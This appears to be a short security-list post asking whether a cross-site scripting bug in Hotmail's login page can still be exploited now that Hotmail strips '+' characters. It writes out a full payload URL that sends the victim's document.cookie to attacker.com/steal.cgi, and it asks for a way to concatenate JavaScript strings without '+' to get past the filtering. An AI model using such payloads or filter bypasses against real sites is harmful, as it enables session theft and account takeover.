Hotmail strips +'s and %2B's from GET requests. While you can view your own cookies easily, I'm not sure if you can still exploit this bug. I do know filtering these characters prevents this sort of attack: http://lc2.law5.hotmail.passport.com/cgi-bin/login?_lang=&id=2&fs=1&cb=";><script>document.location.replace('http://attacker.com/steal.cgi?'+document.cookie);</script>&ct=1033054530&_setlang= Is there another way to exploit this which I am not seeing? Or does MSN actually have their act together (in this particular case...)? -Russell P.S. Well, I suppose the real question may be this: Is there a way to concatenate javascript strings without "+" or "%2B"?
